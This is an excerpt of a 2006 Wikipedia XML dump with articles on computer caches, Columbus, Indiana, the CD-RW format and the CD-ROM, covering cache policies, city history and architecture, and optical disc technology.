In [[computer science]], a '''cache''' is a collection of data duplicating original values stored elsewhere or computed earlier, where the original data is ''expensive'' (usually in terms of access time) to fetch or compute relative to reading the cache. Once the data is stored in the cache, future use can be made by accessing the cached copy rather than refetching or recomputing the original data, so that the average access time is lower.

Caches have proven extremely effective in many areas of computing because access patterns in typical computer applications have [[locality of reference]]. There are several sorts of locality, but we mainly mean that the same data are often used several times, with accesses that are close together in time, or that data near to each other are accessed close together in time.

==Operation==
[[Image:cache,basic.png|frame|Diagram of a CPU memory cache]]

A cache is a pool of entries.  Each entry has a datum, which is a copy of the datum in some backing store.  Each entry also has a tag, which specifies the identity of the datum in the backing store of which the entry is a copy.

When the cache client (a CPU, web browser, operating system) wishes to access a datum presumably in the backing store, it first checks the cache.  If an entry can be found with a tag matching that of the desired datum, the datum in the entry is used instead.  This situation is known as a '''cache hit'''.  So, for example, a web browser program might check its local cache on disk to see if it has a local copy of the contents of a web page at a particular URL.  In this example, the URL is the tag, and the contents of the web page is the datum. The percentage of accesses that result in cache hits is known as the '''hit rate''' or '''hit ratio''' of the cache.

The alternative situation, when the cache is consulted and found not to contain a datum with the desired tag, is known as a '''cache miss'''.  The datum fetched from the backing store during miss handling is usually inserted into the cache, ready for the next access.  

If the cache has limited storage, it may have to eject some other entry in order to make room.  The [[Heuristic (computer science)|heuristic]] used to select the entry to eject is known as the '''replacement policy'''.  One popular replacement policy, [[Cache algorithms|LRU]], replaces the least recently used entry.

When a datum is written to the cache, it must at some point be written to the backing store as well. The timing of this write is controlled by what is known as the '''write policy'''. In a '''write-through''' cache, every write to the cache causes a write to the backing store. Alternatively, in a '''write-back''' cache, writes are not immediately mirrored to the store.  Instead, the cache tracks which of its locations have been written over (these locations are marked '''dirty'''). The data in these locations is written back to the backing store when that data is evicted from the cache. For this reason, a miss in a write-back cache will often require two memory accesses to service.

Data write-back may be triggered by other policies as well.  The client may make many changes to a datum in the cache, and then explicitly notify the cache to write back the datum.

The data in the backing store may be changed by entities other than the cache, in which case the copy in the cache may become out-of-date or '''stale'''. Alternatively, when the client updates the data in the cache, copies of that data in other caches will become stale. Communication protocols between the cache managers which keep the data consistent are known as [[cache coherency|coherency protocols]].

==Applications==

===CPU caches===
''Main article: [[CPU cache]]''

Small memories on or close to the CPU chip can be made faster than the much larger main memory. Most CPUs since the 1980s have used one or more caches, and modern general-purpose CPUs inside personal computers may have as many as half a dozen, each specialized to a different part of the problem of executing programs. 
===Disk buffer===

(also known as ''disk cache'' or ''cache buffer'')

Hard disks have historically often been packaged with embedded computers used for control and interface protocols. Since the late 1980s, nearly all disks sold have these embedded computers and either an [[Advanced Technology Attachment|ATA]], [[SCSI]], or [[Fibre Channel]] interface. The embedded computer usually has some small amount of memory which it uses to store the bits going to and coming from the disk platter.

The disk buffer is physically distinct from and is used differently than the
''[[page cache]]'' typically kept by the [[operating system]] in the computer's [[main memory]]. The disk buffer is controlled by the embedded computer in the disk drive, and the page cache is controlled by the computer to which that disk
is attached. The disk buffer is usually quite small, 2 to 8 MB, and the page
cache is generally all unused physical memory, which in a 2006 PC may be as much as 2GB. And while data in the page cache is reused multiple times, the
data in the disk buffer is typically never reused. In this sense, the phrases
disk cache and cache buffer are misnomers, and the embedded computer's memory is
more appropriately called the disk buffer.

The disk buffer has multiple uses:

* Readahead / readbehind: When executing a read from the disk, the disk arm moves the read/write head to (or near) the correct track, and after some settling time the read head begins to pick up bits. Usually, the first sectors to be read are not the ones that have been requested by the operating system. The disk's embedded computer typically saves these unrequested sectors in the disk buffer, in case the operating system requests them later.

* Speed matching: The speed of the disk's [[I/O interface]] to the computer almost never matches the speed at which the bits are transferred to and from the [[hard disk platter]]. The disk buffer is used so that both the I/O interface and the disk read/write head can operate at full speed.

* Write acceleration: The disk's embedded microcontroller may signal the main computer that a disk write is complete immediately after receiving the write data, before the data are actually written to the platter. This early signal allows the main computer to continue working even though the data has not actually been written yet. This can be somewhat dangerous, because if power is lost before the data are permanently fixed in the magnetic media, the data will be lost from the disk buffer, and the filesystem on the disk may be left in an inconsistent state. On some disks, this vulnerable period between signaling the write complete and fixing the data can be arbitrarily long, as the write can be deferred indefinitely by newly arriving requests. For this reason, the use of write acceleration can be controversial. Consistency can be maintained, however, by using a battery-backed memory system in the disk controller for caching data - although this is typically only found in high end [[redundant array of independent disks|RAID]] controllers. Alternately, the caching can simply be turned off when the integrity of data is deemed more important than write performance.

* [[Native command queueing|Command queueing]]: Newer [[SATA]] and most [[SCSI]] disks can accept multiple commands while any one command is in operation. These commands are stored by the disk's embedded computer until they are completed. Should a read reference the data at the destination of a queued write, the write's data will be returned. Command queueing is different from write acceleration in that the main computer's operating system is notified when data are actually written onto the magnetic media. The OS can use this information to keep the filesystem consistent through rescheduled writes.

===Other caches===
CPU caches are generally managed entirely by hardware. Other caches are managed by a variety of software. The cache of disk sectors in main memory is usually managed by the operating system [[kernel (computers)|kernel]] or [[File system|file system]]. The BIND [[Domain Name System|DNS]] daemon caches a mapping of domain names to IP addresses, as does a resolver library.

Write-through operation is common when operating over unreliable networks (like an ethernet LAN), because of the enormous complexity of the [[cache coherency|coherency protocol]] required between multiple write-back caches when communication is unreliable.  For instance, web page caches and client-side network file system caches (like those in [[Network File System|NFS]] or [[Server message block|SMB]]) are typically read-only or write-through specifically to keep the network protocol simple and reliable.

A cache of recently visited web pages can be managed by your [[Web browser]]. Some browsers are configured to use an external [[proxy server|proxy]] [[web cache]], a server program through which all web requests are routed so that it can cache frequently accessed pages for everyone in an organization. Many [[internet service provider]]s use proxy caches to save [[bandwidth]] on frequently-accessed web pages.

Another type of caching is storing computed results that will likely be needed again, or [[memoization]]. An example of this type of caching is [[ccache]], a program that caches the output of the compilation to speed up the second-time compilation.

===The difference between buffers and cache===

Buffers are allocated by various processes to use as input queues, etc. Most time, buffers are some processes' output, and they are file buffers. A simplistic explanation of buffers is that they allow processes to temporarily store input in memory until the process can deal with it.

Cache is typically frequently requested disk I/O. If multiple processes are accessing the same files, much of those files will be cached to improve performance (RAM being so much faster than hard drives), it's disk cache.

==See also==
*[[Cache algorithms]]
*[[Cache coloring]]
*[[CPU cache]]
*[[Web cache]]


[[Category:Computer architecture]]
[[Category:Computer hardware]]
[[Category:Computer memory]]

[[als:Cache]]
[[cs:Cache]]
[[de:Cache]]
[[es:Caché]]
[[fi:Välimuisti]]
[[fr:Mémoire cache]]
[[hr:Cache]]
[[it:Cache]]
[[he:זיכרון מטמון]]
[[hu:Gyorsítótár]]
[[ja:キャッシュ (コンピュータシステム)]]
[[ko:캐시]]
[[lt:Kešavimas]]
[[ms:Cache]]
[[nl:Cache]]
[[pl:Cache]]
[[pt:Cache]]
[[ru:Кеш-память]]
[[sk:Rýchla vyrovnávacia pamäť]]
[[sv:Cache]]
[[th:แคช]]
[[tr:önbellek]]
[[zh:高速缓存]]</text>
    </revision>
  </page>
  <page>
    <title>Columbus, Indiana</title>
    <id>6830</id>
    <revision>
      <id>41248545</id>
      <timestamp>2006-02-26T01:29:59Z</timestamp>
      <contributor>
        <ip>64.77.160.131</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{{Infobox City-NoFlag |
official_name = City of Columbus, Indiana |
nickname =|
image_flag =|
image_seal =|
image_map = US-IN-Columbus.png |
map_caption = Location in the state of [[Indiana]] |
subdivision_type = [[List_of_Indiana_counties|County]] |
subdivision_name = [[Bartholomew County, Indiana|Bartholomew]]|
leader_title = [[Mayor]] |
leader_name = Fred Armstrong |
area_note =|
area_magnitude = 1 E7 |
area_total = 68.3 |
area_land = 67.2 |
area_water = 1.1 |
population_as_of = 2000 |
population_note =|
population_total = 39,059 |
population_density = 581.1 |
timezone = [[Eastern Standard Time|EST]] |
utc_offset = −5 |
timezone_DST = [[Eastern Daylight Time|EDT]] |
utc_offset_DST = −4 |
latitude = 39&amp;deg;12'50&quot; N |
longitude = 85&amp;deg;54'40&quot; W |
website = www.columbus.in.gov |
footnotes =|
}}

'''Columbus''' is the [[county seat]] of [[Bartholomew County, Indiana]].  As of the [[2000]] census, the city had a total population of 39,059.  It is a small city approximately 40 miles south of [[Indianapolis, Indiana|Indianapolis]], {{GR|6}} on the east fork of the [[White River]].  

== History ==

In 1820, the land which is now Columbus was bought by General John Tipton and Luke Bonesteel. General Tipton built a log cabin on Mt. Tipton, a small hill overlooking White River and the surrounding flat, heavily forested, swampy valley. A ferry was established in order to avoid crossing both the Flat Rock and Driftwood rivers, which join only a short distance above the site of the ferry. This became a village of three or four log cabins and in 1821, the first store was added. In the same year, Bartholomew County was organized by an act of the State Legislature and named after the famous Indian fighter, General Joseph Bartholomew.  Columbus, Indiana was chartered as a city in [[1864]].  

For years, it was recorded in the local history books that the land on which Columbus sits was donated by General Tipton. It has recently come to light that General Tipton actually sold the land. A deed showing sale of the land was acquired by the Historic Columbus Indiana website (http://www.historiccolumbusindiana.org) in 2003.

When the city of Columbus was first formed, it was called Tiptona. This name only lasted about a month, when the name was changed to Columbus. General Tipton was very upset by this, and he moved from Columbus. Later, when General Tipton became the Highway Commissioner for the state of Indiana, he decided to bypass Columbus. This was the first bypass road ever built. He was in charge of building a road from Indianapolis to Louisville and just south of Franklin, he built the Mauxferry Road and brought it south, around the west side of Columbus on its way to Seymour.

In 1844, the first railroad in Indiana reached Columbus from Madison, Indiana. This was known as the Madison branch of the Pennsylvania Railroad. The railroad caused the community to grow into one of the larger communities of the State of Indiana. By 1850, three more railroads came into the city.

Columbus is host to the oldest theatre in the State of Indiana: the Crump Theatre, which was built in 1889 by John Crump. Today, the building is a historical landmark. Columbus is also host to the oldest, continually operated bookstore in the State of Indiana: Cummins Bookstore first began its operations in 1892.

==Architecture==
Columbus is a city known for its architecture. J. Irwin Miller, owner of the Cummins Engine Company, a  local concern manufacturing diesel engines, instituted a program in which Cummins would pay the architects' fee on any building if the client selected a firm from a list they compiled. The plan was initiated with public schools. It was so successful that Miller went on to defray the design costs of fire stations, public housing and other community structures.  Columbus has come to have an unusual number of notable public buildings and sculpture, designed by such individuals as Eero Saarinen, I.M. Pei, Robert Venturi, Cesdar Pelli, Richard Meier and others.  Six of its buildings, built between 1942 and 1965, are [[National Historic Landmark]]s, and 60 other buildings sustain the Bartholomew County capital seat's reputation as a showcase of modern architecture.  

The National Historical Landmarks are:

[[Image:North Christian Church.jpg|thumb|left|280px|[[Eero Saarinen]]'s [[North Christian Church]] depicts an example of contemporary architecture in Columbus.]]

* [[First Baptist Church, Columbus, Indiana|First Baptist Church]] by [[Harry Weese]]
*  [[First Christian Church, Columbus, Indiana|First Christian Church]] by [[Eliel Saarinen]], 1942; the first of the series
* [[Irwin Union Bank, Columbus, Indiana|Irwin Union Bank]] by [[Eero Saarinen]], with landscape by Dan Kiley; and its addition by [[Kevin Roche]]
* [[Mabel McDowell School]] by [[John Carl Warnecke]]
* [[Miller House]], 1957, the esidence of [[J. Irwin Miller]] by Eero Saarinen, with landscape by Dan Kiley.
* [[North Christian Church]] (congregation founded in 1955), designed by [[Eero Saarinen]] in 1964.

Other notable buildings include:

* [[Cleo Rogers Memorial Library]], designed by [[I. M. Pei]]
* [[Commons-Courthouse Center]], by [[César Pelli]]
* Columbus East High School, by [[Romaldo Giurgola]] 
* ''Large Arch'', sculpture by [[Henry Moore]]

Columbus is also the home of several companies, including [[Cummins|Cummins Inc.]] and [[ArvinMeritor Incorporated|ArvinMeritor Industries]].

== Geography ==
Columbus is located at 39&amp;deg;12'50&quot; North, 85&amp;deg;54'40&quot; West (39.213998, -85.911056){{GR|1}}.  The [[Driftwood River|Driftwood]] and [[Flatrock River|Flatrock]] Rivers join at Columbus to form the East Fork of the [[White River (Indiana)|White River]].

According to the [[United States Census Bureau]], the city has a total area of 68.3 [[square kilometre|km&amp;sup2;]] (26.4 [[square mile|mi&amp;sup2;]]).  67.2 km&amp;sup2; (26.0 mi&amp;sup2;) of it is land and 1.1 km&amp;sup2; (0.4 mi&amp;sup2;) of it is water.  The total area is 1.59% water.

== Demographics ==

In [[1900]], 8,130 people lived in Columbus, Indiana; in [[1910]], 8,813; and in [[1940]], 11,738.  As of the [[census]]{{GR|2}} of [[2000]], there are 39,059 people, 15,985 households, and 10,566 families residing in the city.  The [[population density]] is 581.1/km&amp;sup2; (1,505.3/mi&amp;sup2;).  There are 17,162 housing units at an average density of 255.3/km&amp;sup2; (661.4/mi&amp;sup2;).  The racial makeup of the city is 91.32% [[Race (U.S. Census)|White]], 2.71% [[Race (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.13% [[Race (U.S. Census)|Native American]], 3.23% [[Race (U.S. Census)|Asian]], 0.05% [[Race (U.S. Census)|Pacific Islander]], 1.39% from [[Race (U.S. Census)|other races]], and 1.19% from two or more races.  2.81% of the population are [[Hispanic American|Hispanic]] or [[Race (U.S. Census)|Latino]] of any race.

===Households===

There are 15,985 households out of which 31.8% have children under the age of 18 living with them, 51.9% are [[Marriage|married couples]] living together, 11.0% have a female householder with no husband present, and 33.9% are non-families. 29.1% of all households are made up of individuals and 10.7% have someone living alone who is 65 years of age or older.  The average household size is 2.39 and the average family size is 2.94.

===Ages===

In the city the population is spread out with 25.7% under the age of 18, 8.0% from 18 to 24, 29.5% from 25 to 44, 23.0% from 45 to 64, and 13.7% who are 65 years of age or older.  The median age is 36 years.  For every 100 females there are 92.8 males.  For every 100 females age 18 and over, there are 89.6 males.

===Income===

The median income for a household in the city is $41,723, and the median income for a family is $52,296. Males have a median income of $40,367 versus $24,446 for females. The [[per capita income]] for the city is $22,055.  8.1% of the population and 6.5% of families are below the [[poverty line]].  Out of the total population, 9.7% of those under the age of 18 and 8.8% of those 65 and older are living below the poverty line.

===Entertainment===
A lot of people will talk about coming to see Columbus' architecture, and others will talk about Mill Race and Donner's park.  As of now, there are 3 theatres: new movies (Kerasotes Showplace 12); one showing movies about to hit DVD for $2.00 (Commons Cinema); and Yes Cinema showing Indie flicks and older movies.

==External links==

* [http://www.indiana.edu/~radiotv/wtiu/columbus/columbus.html Columbus Indiana: different by design]
* [http://www.uwbarthco.org/vac Volunteer Action Center, Columbus, Indiana]
* [http://www.ceenonline.com/ Columbus Entertainment and Events Network, Columbus, Indiana]
* [http://www.kid-at-art.com/htdoc/kids.html  A Kid's Columbus, Columbus, Indiana]
* [http://www.historiccolumbusindiana.org  A History of Columbus Indiana]
{{Mapit-US-cityscale|39.213998|-85.911056}}


{{Indiana}}

[[Category:Cities in Indiana]]
[[Category:Columbus, Indiana| ]]
[[Category:Bartholomew County, Indiana| ]]

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  </page>
  <page>
    <title>CD-RW</title>
    <id>6832</id>
    <revision>
      <id>42056859</id>
      <timestamp>2006-03-03T14:32:58Z</timestamp>
      <contributor>
        <username>Brossow</username>
        <id>483309</id>
      </contributor>
      <minor />
      <comment>Redirect bypass from [[Disk or disc]] to [[disk]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Compact Disc ReWritable (CD-RW)''' is a rewritable [[optical disc]] format. Known as CD-Erasable (CD-E) during its development, CD-RW was introduced in 1997. While a prerecorded [[compact disc]] has its information permanently stamped into its polycarbonate plastic substrate, a CD-RW disc contains a phase-change alloy recording layer composed of a [[phase change]] material, most often [[AgInSbTe]], an alloy of [[silver]], [[indium]], [[antimony]] and [[tellurium]]. An infra-red [[laser]] beam is employed to selectively heat and melt the [[crystal]]lized recording layer into an [[amorphous]] state or to [[anneal]] it at a lower temperature back to its crystalline state. The different reflectance of the resulting areas make them appear like the pits and lands of a prerecorded CD. 

A CD-RW recorder can rewrite 700 [[mebibyte|MiB]] of data to a CD-RW disc roughly 1000 times. CD-RW recorders can also write [[CD-R]] discs.  Except for the ability to completely erase a disc, CD-RWs act very much like CD-Rs and are subject to the same restrictions; i.e., they can be extended, but not selectively overwritten, and writing sessions must be closed before they can be read in CD-ROM drive or players.  The [[Universal_Disk_Format|UDF]] 1.5 file system allows CD-RWs to be randomly rewritten, but limits disc storage capacity to roughly 530MB.

Written CD-RW discs do not meet [[Red Book]] or [[Orange Book Part II]] standards for prerecorded or recordable CDs (e.g. reduced signal levels). Consequently, CD-RWs cannot be read in CD-ROM drives built prior to 1997. CD-R is considered a better technology for archival purposes as disc contents cannot be modified and manufacturers claim greater longevity.

CD-RW discs need to be blanked before reuse. Different blanking methods can be used, including &quot;full&quot; blanking in which the entire surface of the disc is cleared, and &quot;fast&quot; blanking in which only meta-data areas are cleared: PMA, [[TOC (CD)|TOC]] and [[pregap]], comprising a few percent of the disc. Fast blanking will obviously be much quicker, and is usually sufficient to allow rewriting the disc. Full blanking removes traces of the former data, often for [[confidentiality]].

== CD-MO ==

Prior to the introduction of the CD-RW technology, a standard for [[magneto-optical]] recordable and erasable CDs called [[CD-MO]] was introduced in [[1988]] and set in the [[Orange Book|Orange Book, part 1]], and was basically a CD with a magneto-optical recording layer. The CD-MO standard also allowed for an optional non-erasable zone on the disk, which could be read by normal CD-ROM reader units.

Data recording (and erasing) was achieved by heating the magneto-optical layer's material (eg. [[TbFeCo]], [[DyFeCo]], or [[GdFeCo]]) up to its [[Curie point]]  thus erasing all previous data and then using a magnetic field to write the new data, in a manner very similar to Sony's [[Minidisc]]. Reading of the discs relied on the [[Kerr effect]]. This was also the first major flaw of this format: it could only be read in special drives and was physically incompatible with non magneto-optical enabled drives, in a much more radical way than the later CD-RWs.

The format never caught on commercially, as it was mostly marketed as a replacement for [[tape drive|tape backup]] devices, intended for use in bulky, usually external proprietary drives (each company made its own device) which very frequently used proprietary [[data backup]] software and proprietary, non-standard recording formats (even at a physical level) and file systems.

Recording speed was, also, low, as it was typical for a magneto-optical device of this era, meeting CD 1x or 2x speed at best, if not less.

These combined factors rendered the disks unreadable on standard CD drives or on other similar devices, or even on the same device without the specific backup software. A similar situation was also present for early [[CD-WORM]] media, which suffered from massive standarization problems.

Also, since the CD-MO was otherwise physically identical to &quot;normal&quot; CDs, it still adopted a spiral-groove recording scheme, which rendered it hard to use as a normal floppy or as a medium for repeated, small scale deletions and recordings. There were (and are) however some [[magneto-optical]] drives and media with the same form factor that don't have this limitation.

This early introduction along with the lack of standards for software, file systems and disks, low recording speeds, physical incompatibility, along with the cost of the recording devices and the disks themselves back in the early [[1990s]], as well as the introduction of the relatively more economical CD-R disks and (especially) faster and more compact drives restricted the CD-MO to niche markets, and the format was almost forgotten, being essentially replaced by [[phase change]] CD-RW and other, better specified magneto-optical media such as the [[Zip drive]]. As of [[2006]], it is very hard to find actual CD-MO record-capable drives or even CD-MO disks.

==Speed Spec==
Unlike CD-R, CD-RW have different speed spec and is not always [[backward compatible]] (i.e. A CD-RW recorder labelled &quot;Ultra Speed&quot; may not (re-)write discs of original spec.)
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; style=&quot;float:right; margin-left: 1em;&quot;
|- bgcolor=&quot;#cccccc&quot;
!Spec
!Speed
|-
|(Original)
|1x - 4x
|-
|High Speed
|4x - 12x
|-
|Ultra Speed
|16x - 24x
|-
|Ultra Speed+
|32x
|}

==See also==
* [[computer storage|Computer Storage]]
* [[computer hardware|Computer Hardware]]
* [[disk|Disk or Disc]]
* [[DVD-RW]]
* [[DVD plus RW|DVD+RW]]
* [[DVD-RAM]]
* [[MultiLevel Recording]]
* [[Phase-change Dual]]

== References ==
* Bennett, Hugh. &quot;CD-E: Call it Erasable, Call it Rewritable, but will it Fly?&quot; ''CD-ROM Professional'' Sept. 1996: 28+
* Bennett, Hugh. ''Understanding CD-R &amp; CD-RW''. Cupertino: Optical Storage Technology Association, Jan. 2003.
* Steinmetz, Ralf and Nahrstedt Klara. &quot;Multimedia Fundamentals Volume 1: Media Coding and Content Processing&quot;,[[ISBN 0-13-031399-9]]

{{FOLDOC}}

== External links ==
* [http://www.osta.org/technology/cdqa.htm Understanding CD-R &amp; CD-RW] by Hugh Bennett
* [http://www.cdrfaq.org/ The CD-R FAQ]
* [http://gentoo-wiki.com/HOWTO_Packet_Writing_on_CD-RW HOWTO Packet Writing on CD-RW under Linux]

[[Category:CD]]
[[Category:120 mm discs]]
[[Category:Audio storage]]
[[Category:Video storage]]

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  </page>
  <page>
    <title>CD-ROM</title>
    <id>6833</id>
    <revision>
      <id>41042096</id>
      <timestamp>2006-02-24T17:58:11Z</timestamp>
      <contributor>
        <ip>216.227.9.195</ip>
      </contributor>
      <comment>Reverting edits done by 220.225.130.245 to last version by Bovineone</comment>
      <text xml:space="preserve">The '''CD-ROM''' (an abbreviation for &quot;[[Compact disc|Compact Disc]] [[Read-only memory|Read-Only Memory]]&quot;) is a [[Non-volatile storage|non-volatile]] [[Optical storage|optical]] [[computer storage|data storage]] medium using the same physical format as audio CDs, readable by a computer with a CD-ROM drive. A CD-ROM is a flat, metallized plastic disc with digital information encoded on it in a spiral from the center to the outside edge. The CD-ROM [[Yellow Book (CD-ROM_standards)|Yellow Book]] standard was established in [[1985]] by [[Sony]] and [[Philips]]. [[Microsoft]] and [[Apple Computer]] were early enthusiasts and promoters of the CD-ROM. [[John Sculley]], CEO of Apple at the time, said as early as [[1987]] that the CD-ROM would revolutionize the use of [[personal computer]]s.

[[image:CDR-large.jpg|thumb|250px|CD-R]]

CD-ROM reading devices are a standard component of most modern [[personal computer]]s. In general, audio CDs are distinct from CD-ROMs, and CD players intended for listening to audio cannot make sense of the data on a CD-ROM; though personal computers can generally read audio CDs. It is possible to produce composite CDs containing both data and audio with the latter capable of being played on a CD player, whilst data or perhaps video can be viewed on a computer. These are called [[Enhanced CD]]s.



==Manufacture==

CD-ROMs are always mass-produced by a process called &quot;stamping&quot;, whereas CD-Rs and CD-RWs are recorded. There exist devices to 'burn', or record, multiple discs at once from a  single source. The contents of a CD-R may be in logical CD-ROM format ([[Yellow Book (CD-ROM standards)|Yellow Book]]) but the disc itself is physically a CD-R ([[Orange Book (CD standard)|Orange Book]]).{{ref|Parker}}

==Capacity==
The standard CD-ROM holds 650 or 700[[megabyte|MB]] of data. The CD-ROM is popular for distribution of [[software]], especially [[multimedia]] applications, and large [[database]]s. A CD weighs under an ounce. To put the CD-ROM's storage capacity into context, the average [[novel]] contains 60,000 words. Assume that average word length is 10 letters - in fact it's considerably less than 10 - and that each letter occupies one [[byte]]. A novel therefore might occupy 600,000 bytes. One CD can therefore contain over 1,000 novels. If each novel occupies half an inch of bookshelf space, then one CD can contain the equivalent of about 14 [[yard]]s (~13 [[meter]]) of bookshelf. However textual data can be compressed by more than a factor of ten, using computer [[data compression|compression algorithms]] (often known as 'zipping'), so a CD-ROM can accommodate at least 100 yards of bookshelf space. In comparison a [[DVD]] typically contains 4.7 GB of data or more, depending upon its type. Dual layer DVD+R discs, for example, contain 8.5GB of data for a normal sized (12 cm) disc.

{| border=&quot;1&quot; cellpadding=&quot;4&quot; align=&quot;center&quot; cellspacing=&quot;0&quot; style=&quot;background: #f9f9f9; color: black; border: 1px #aaa solid; border-collapse: collapse;&quot;
|-----
!Type
!Time
!Sectors
!CD-DA max size, bytes
!CD-DA max size, [[binary_prefix|MiB]]
!Data max size, bytes
!Data max size, [[binary_prefix|MiB]]
|-----align=&quot;center&quot;
|
|21 minutes
|94,500
|222,264,000
|212.0 MiB
|193,536,000
|184.6 MiB
|-----align=&quot;center&quot;
|
|63 minutes
|283,500
|666,792,000
|635.9 MiB
|580,608,000
|553.7 MiB
|-----align=&quot;center&quot;
|650MB
|74 minutes
|333,000
|783,216,000
|746.9 MiB
|681,984,000
|650.3 MiB
|-----align=&quot;center&quot;
|700MB
|80 minutes
|360,000
|846,720,000
|807.4 MiB
|737,280,000
|703.1 MiB
|-----align=&quot;center&quot;
|
|90 minutes
|405,000
|952,560,000
|908.4 MiB
|829,440,000
|791.0 MiB
|-----align=&quot;center&quot;
|
|99 minutes
|445,500
|1,047,816,000
|999.3 MiB
|912,384,000
|870.1 MiB
|}

CD capacities are always given in binary units. A &quot;700 MB&quot; CD has a nominal capacity of about 700 [[MiB]]. But [[DVD]] capacities are given in decimal units. A &quot;4.7 GB&quot; DVD has a nominal capacity of about 4.38 [[GiB]].

==CD-ROM drives==

[[Image:CD-ROM drive.jpg|thumb|CD-RW drive]]

CD-ROMs are read using CD-ROM drives and written with [[CD recorder]]s (often referred to as &quot;burners&quot;). CD-ROM drives&amp;mdash;now almost-universal on personal computers&amp;mdash;may be connected to the computer via an IDE ([[Advanced Technology Attachment|ATA]]) interface, a [[SCSI]] interface or a proprietary interface, such as the [[Panasonic CD interface]]. Most CD-ROM drives can also play [[Red Book (audio CD standard)|audio CDs]] and [[Video CD]]s with the right software.

CD-ROMs are written and read using hills and valleys on the disc that are [[microscopic]]. Each hill represents a '''1''' and each valley represents a '''0''' in binary. The CD-ROM reads the hills and valleys by using laser reflecting off of the CD-ROM into a detector that can sense the difference in reflection.

CD-ROM drives are rated with a speed factor relative to music CDs: 1x or 1-speed which gives a data transfer rate of 150 kilobytes per second in the most common data format. For example, an 8x CD-ROM data transfer rate would be 1.2 megabytes per second. Above 12x speed, there are problems with vibration and heat. [[Constant angular velocity]] (CAV) drives give speeds up to 20x but due to the nature of CAV the actual throughput increase over 12x is less than 20/12. 20x was thought to be the maximum speed due to mechanical constraints until [[Samsung]] Electronics introduced the SCR-3230, a 32x CD-ROM drive which uses a ball [[bearing (mechanical)|bearing]] system to balance the spinning disc in the drive to reduce vibration and noise. [[As of 2004]], the fastest transfer rate commonly available is about 52x or 7.62 megabytes per second, though this is only  when reading information from the outer parts of a disc. Future speed increases based simply upon spinning the disc faster are particularly limited by the strength of polycarbonate plastic used in CD manufacturing, though improvements can still be obtained by the use of multiple laser pickups as demonstrated by the [[Kenwood Electronics|Kenwood]] [[TrueX]] 72x which uses seven laser beams and a rotation speed of approximately 10x.

CD-Recordable drives are often sold with three different speed ratings, one speed for write-once operations, one for re-write operations, and one for read-only operations. The speeds are typically listed in that order; ie a 12x/10x/32x CD drive can, CPU and media-permitting, write to CD-R disks at 12x speed (1.76 megabytes/s), write to CD-RW discs at 10x speed (1.46 megabytes/s), and read from CD discs at 32x speed (4.69 megabytes/s).  

The 1x speed rating for CDs (150 kilobytes/s) is not to be confused with the 1x speed rating for [[DVD]]s (1.32 megabytes/s).

Some of the initial versions of CD Drives had a mechanism different from the tray or slot loaders of modern day drives. They could read CDs only when they were inserted in special [[cartridge]]s. The &quot;CD Caddy&quot; resembled the [[Floppy_drive#The_3.C2.BD-inch_micro_floppy_diskette|floppy disk]] because of its protective casing. It never became popular, however, possibly because it would be cheaper for manufacturers to produce CDs without cartridges (CD caddies, although resembling ordinary jewel cases, were probably more expensive to produce because of their additional metal components and, unlike jewel cases, they could not hold a printed booklet or inlay cards).  Furthermore, distributors using the cartridge format would still have to offer loose CDs for owners of non-caddy drives in order not to lose part of the market, whereas caddy owners could still play loose CDs by loading them into an openable cartridge which was then inserted into the drive (this of course defeated their entire purpose and was more fiddly than loading a disc into an ordinary drive).

Some might argue that caddies would be a good idea given the somewhat fragile nature of some cheaply produced modern CDs - whereas some early CDs had the recording medium sandwiched between two layers of plastic, offering good protection from scratches, some modern discs have a single layer of plastic with the medium stuck to one side, offering comparatively little protection from scratches to the top side of the disc, other than via the printed label paint - some particularly cheap recordable discs have even been known to have their recording layer peel away from the plastic substrate entirely, and of course become useless.

To use a CD-ROM disk in the drive, press the button (should be the only one visible) on the front of the drive to eject the tray, insert the disk so it lines up with the indent in the tray, and either push the tray back in or press the button again. Each of these closing methods are effective and, contrary to a common misconception, giving the tray a push to begin the retracting process does no damage to the drive. Over time retracting does affect the performace of a disc drive, but only on certain models that are not dependable.

==Copyright Issues==
There has been a move by the [[Record industry|recording industry]] to make audio CDs (CDDAs, [[Red Book (audio CD standard)|Red Book]] CDs) unplayable on computer CD-ROM drives, to prevent copying of the music. This is done by intentionally introducing errors onto the disc that the analogue circuits on most stand-alone audio players can automatically compensate for, but confuse CD-ROM drives. Consumer rights advocates are as of October 2001 pushing to require warning labels on compact discs that do not conform to the official Compact Disc Digital Audio standard (often called the [[Red Book]]) to inform consumers of which discs do not permit full [[fair use]] of their content.

Manufacturers of CD writers ([[CD-R]] or [[CD-RW]]) are encouraged by the music industry to ensure that every drive they produce has a unique identifier, which will be encoded by the drive on every disc that it records: the RID or Recorder Identification Code.  This is a counterpart to the [[Source identification code|SID]] - the Source Identification Code, an eight character code beginning with &quot;[[IFPI]]&quot; that is usually stamped on discs produced by CD recording plants.

==Data Formats==
There are several formats used for CD-ROM data: the [[Rainbow Books]], which include the [[Green Book (CD-i standard)|Green Book]], [[White Book (Video CD standards)|White Book]] and [[Yellow Book (CD-ROM standards)|Yellow Book CD-ROM]]. [[ISO 9660]] defines the standard file system of a CD-ROM, although it is due to be replaced by [[ISO 13490]]. [[Universal Disk Format|UDF]] format is used on user-writable [[CD-R]] and [[CD-RW]] discs that are intended to be extended or overwritten. The bootable CD specification, to make a CD emulate a hard disk or floppy, is called [[El Torito (CD-ROM standard)|El Torito]] (apparently named after the [[El Torito|restaurant chain]]).

Informative CD-ROMs may contain links to webpages with additional information. To keep them up to date these are sometimes indirect: they link to webpages maintained by the producer of the CD-ROM which contain the links to external webpages.

==See also==

* [[Computer hardware]]
* [[MultiLevel Recording]]
* [[Phase-change Dual]]
* [[DVD-ROM]]
* [[CD/DVD authoring]]

== References ==
{{FOLDOC}}
* {{note|parker}} Parker, Dana J. ''The CD-Recordable Handbook''. Cyberage Books, 1996. ISBN 0910965188

== External links ==
* [http://computer.howstuffworks.com/cd.htm ''How CDs Work'' from HowStuffWorks.com]
* [http://www.cdrfaq.org Andy McFadden's CD-Recordable FAQ]
* [http://www.osta.org/technology/cdqa.htm Understanding CD-R &amp; CD-RW] by Hugh Bennett
* [http://www.pcdoctor-guide.com/wordpress/?p=1396''Inside a CD-ROM drive'' from The PC Doctor]
[[Category:120 mm discs]]
[[Category:Computer storage media]]
